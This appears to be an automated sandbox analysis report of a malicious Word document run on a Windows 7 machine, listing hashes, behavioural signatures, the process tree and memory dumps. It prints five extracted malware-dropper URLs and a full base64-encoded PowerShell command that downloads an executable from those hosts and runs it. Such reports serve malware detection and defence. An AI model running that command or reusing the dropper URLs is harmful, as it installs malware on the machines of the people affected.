Analysis

  • max time kernel
    140s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 09:43

General

  • Target

    5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587.doc

  • Size

    142KB

  • MD5

    9d5074f934679791e41df9b1ed245838

  • SHA1

    997f12d773ea4c77906eb1c55dab9191b2820044

  • SHA256

    5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587

  • SHA512

    ebf07298233ad4731a26bd1bd2a1b9ce69c1a01cc2444f21aadac2bb2229c8e052a4e79dc55566702bff643f7c4d7602c98cf5b5f10ebc7e5e9de31e1c69da84

  • SSDEEP

    3072:A77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qi+pR4HKInUo05l29d:A77HUUUUUUUUUUUUUUUUUUUT52V0/4Hn

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://usuei.com/wp-admin/SKT62W/

exe.dropper

http://912graphics.com/wp-includes/JE/

exe.dropper

http://actbigger.com/daUeX/

exe.dropper

http://webgenie.com/order/Wsc/hi0TV/

exe.dropper

http://wasama.org/4n0f0ik/ne/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f21d718976e5fffe61c89827b74a3ceb74054a1bdd1ab1b3dc69a82ec7f4587.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1208
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JAB1AFUAQgBvADQAeABfAD0AKAAnAFUAQQBvAFgAJwArACcAMQAnACsAJwBHADQAQQAnACkAOwAkAFQARAA0AG8AQQBYAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABJAFEAQQBBAEQARABBAEcAPQAoACcAaAB0AHQAcAA6AC8ALwAnACsAJwB1AHMAdQAnACsAJwBlAGkAJwArACcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFMAJwArACcASwBUACcAKwAnADYAMgAnACsAJwBXACcAKwAnAC8AQABoACcAKwAnAHQAdABwACcAKwAnADoALwAvADkAJwArACcAMQAyACcAKwAnAGcAcgBhACcAKwAnAHAAaABpAGMAcwAuACcAKwAnAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwArACcAbAB1AGQAZQAnACsAJwBzAC8AJwArACcASgBFACcAKwAnAC8AQABoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGEAYwAnACsAJwB0AGIAaQAnACsAJwBnAGcAJwArACcAZQByAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACcALwBkAGEAJwArACcAVQBlAFgALwBAAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AdwBlAGIAJwArACcAZwAnACsAJwBlACcAKwAnAG4AaQBlAC4AJwArACcAYwBvAG0ALwBvAHIAZABlACcAKwAnAHIALwBXAHMAJwArACcAYwAvACcAKwAnAGgAaQAwAFQAVgAvACcAKwAnAEAAaAB0AHQAcAA6AC8ALwB3AGEAcwBhACcAKwAnAG0AYQAnACsAJwAuACcAKwAnAG8AcgBnAC8AJwArACcANABuADAAJwArACcAZgAwAGkAawAnACsAJwAvAG4AJwArACcAZQAvACcAKQAuACgAJwBTAHAAbAAnACsAJwBpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABDAFoARwBjAEIAdwBEAD0AKAAnAEUAJwArACcAVQBRAGMAQQBRACcAKwAnAFgAJwApADsAJABsADQAQgBVAFUAQQAgAD0AIAAoACcAMgAnACsAJwA4ADkAJwApADsAJABjAFEAQQBBAEIAQQBRAD0AKAAnAFcAQwBjACcAKwAnAFEAVQBBACcAKQA7ACQAbwBBAF8AWgBRADQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGwANABCAFUAVQBBACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBDAGMAawBHAHgAIABpAG4AIAAkAEkAUQBBAEEARABEAEEARwApAHsAdAByAHkAewAkAFQARAA0AG8AQQBYAC4AKAAnAEQAbwB3AG4AbABvAGEAJwArACcAZABGAGkAJwArACcAbAAnACsAJwBlACcAKQAuAEkAbgB2AG8AawBlACgAJABCAEMAYwBrAEcAeAAsACAAJABvAEEAXwBaAFEANAApADsAJABNAFUAQQBBAFoAQQBBAEIAPQAoACcAcwB3ACcAKwAnAEEARAAnACsAJwBEAFUAQQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbwBBAF8AWgBRADQAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQAbwBBAF8AWgBRADQAOwAkAG8AVQBEAEIAUQBVAGMAPQAoACcARgBBAFUAQQBEADQAJwArACcAYwAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgB4AGsARAB3AEQAUQBBAD0AKAAnAFMAJwArACcAQgAnACsAJwA0AFEAQwBjAFoAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:748

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/572-59-0x0000000000000000-mapping.dmp
    • memory/572-60-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp
      Filesize

      8KB

    • memory/748-67-0x000000000291B000-0x000000000293A000-memory.dmp
      Filesize

      124KB

    • memory/748-63-0x000007FEF2590000-0x000007FEF30ED000-memory.dmp
      Filesize

      11.4MB

    • memory/748-72-0x000000000291B000-0x000000000293A000-memory.dmp
      Filesize

      124KB

    • memory/748-71-0x0000000002914000-0x0000000002917000-memory.dmp
      Filesize

      12KB

    • memory/748-68-0x000000000291B000-0x000000000293A000-memory.dmp
      Filesize

      124KB

    • memory/748-62-0x000007FEF31B0000-0x000007FEF3BD3000-memory.dmp
      Filesize

      10.1MB

    • memory/748-64-0x0000000002914000-0x0000000002917000-memory.dmp
      Filesize

      12KB

    • memory/748-66-0x000000001B810000-0x000000001BB0F000-memory.dmp
      Filesize

      3.0MB

    • memory/1208-65-0x0000000070B2D000-0x0000000070B38000-memory.dmp
      Filesize

      44KB

    • memory/1208-57-0x0000000074DA1000-0x0000000074DA3000-memory.dmp
      Filesize

      8KB

    • memory/1208-54-0x00000000720C1000-0x00000000720C4000-memory.dmp
      Filesize

      12KB

    • memory/1208-55-0x000000006FB41000-0x000000006FB43000-memory.dmp
      Filesize

      8KB

    • memory/1208-69-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1208-70-0x0000000070B2D000-0x0000000070B38000-memory.dmp
      Filesize

      44KB

    • memory/1208-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1208-58-0x0000000070B2D000-0x0000000070B38000-memory.dmp
      Filesize

      44KB